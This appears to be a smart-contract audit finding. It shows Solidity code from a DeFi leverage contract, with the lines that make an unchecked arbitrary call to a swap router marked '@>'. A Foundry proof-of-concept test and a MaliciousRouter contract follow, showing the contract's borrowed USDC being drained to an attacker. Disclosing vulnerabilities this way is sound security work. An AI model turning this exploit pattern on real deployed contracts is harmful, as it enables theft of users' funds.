function _executeOpenOperation(address _asset, uint256 _amount, uint256 _premium, bytes calldata _params)
internal
returns (bool)
{
(, address user, FlashLoanParams memory flashParams) =
abi.decode(_params, (OperationType, address, FlashLoanParams));
uint256 totalCollateral = _amount + flashParams.collateralAmount;
IERC20(_asset).approve(address(aavePool), totalCollateral);
aavePool.supply(_asset, totalCollateral, address(this), 0);
uint256 prevBorrowTokenBalance = IERC20(flashParams.borrowToken).balanceOf(address(this));
aavePool.borrow(
flashParams.borrowToken,
flashParams.borrowAmount,
2,
0,
address(this)
);
IERC20(flashParams.borrowToken).approve(address(oneInchRouter), flashParams.borrowAmount);
@> uint256 returnAmount =
@> _call1InchSwap(flashParams.oneInchSwapData, flashParams.borrowToken, flashParams.minReturnAmount);
uint256 afterSwapBorrowTokenbalance = IERC20(flashParams.borrowToken).balanceOf(address(this));
require(afterSwapBorrowTokenbalance == prevBorrowTokenBalance, "Borrow token left in contract");
uint256 totalDebt = _amount + _premium;
require(returnAmount >= totalDebt, "Insufficient funds to repay flash loan");
* @notice Internal function to execute a token swap via 1inch
* @dev Performs low-level call to 1inch router and validates return amount
* @param _swapParams Encoded calldata for the 1inch swap
* @param _asset Address of the asset being swapped to
* @param _minReturnAmount Minimum acceptable return amount (slippage protection)
* @return returnAmount Actual amount received from the swap
*/
function _call1InchSwap(bytes memory _swapParams, address _asset, uint256 _minReturnAmount)
internal
returns (uint256 returnAmount)
{
@> (bool success, bytes memory result) = address(oneInchRouter).call(_swapParams);
require(success, "1inch swap failed");
if (result.length > 0) {
(returnAmount,) = abi.decode(result, (uint256, uint256));
} else {
returnAmount = IERC20(_asset).balanceOf(address(this));
}
require(returnAmount >= _minReturnAmount, "Insufficient return amount from swap");
return returnAmount;
}
function test_Reentrancy_NoEtch_ConfiguredRouter() public {
MaliciousRouter maliciousRouter = new MaliciousRouter();
BeaconProxy newProxy = new BeaconProxy(
address(beacon),
abi.encodeWithSelector(
Stratax.initialize.selector,
AAVE_POOL,
AAVE_PROTOCOL_DATA_PROVIDER,
address(maliciousRouter),
USDC,
address(strataxOracle)
)
);
Stratax vulnerableStratax = Stratax(address(newProxy));
vulnerableStratax.transferOwnership(ownerTrader);
address attacker = ownerTrader;
uint256 borrowAmount = 20000 * 1e6;
deal(WETH, attacker, 100 ether);
uint256 initialBalance = IERC20(USDC).balanceOf(attacker);
console2.log("Attacker USDC Balance Before:", initialBalance);
vm.startPrank(attacker);
IERC20(WETH).approve(address(vulnerableStratax), 100 ether);
bytes memory swapData = abi.encodeWithSelector(
MaliciousRouter.attack.selector,
address(vulnerableStratax),
USDC,
WETH,
attacker
);
vulnerableStratax.createLeveragedPosition(WETH, 0, 100 ether, USDC, borrowAmount, swapData, 0);
vm.stopPrank();
uint256 finalBalance = IERC20(USDC).balanceOf(attacker);
console2.log("Attacker USDC Balance After: ", finalBalance);
console2.log("Stolen Amount: ", finalBalance - initialBalance);
assertEq(finalBalance - initialBalance, borrowAmount, "Attacker failed to steal funds");
}
}
contract MaliciousRouter {
function attack(address _stratax, address _borrowToken, address _collateralToken, address _attacker) external {
console2.log(">>> MaliciousRouter.attack() triggered!");
uint256 amount = IERC20(_borrowToken).balanceOf(_stratax);
IERC20(_borrowToken).transferFrom(_stratax, _attacker, amount);
}
}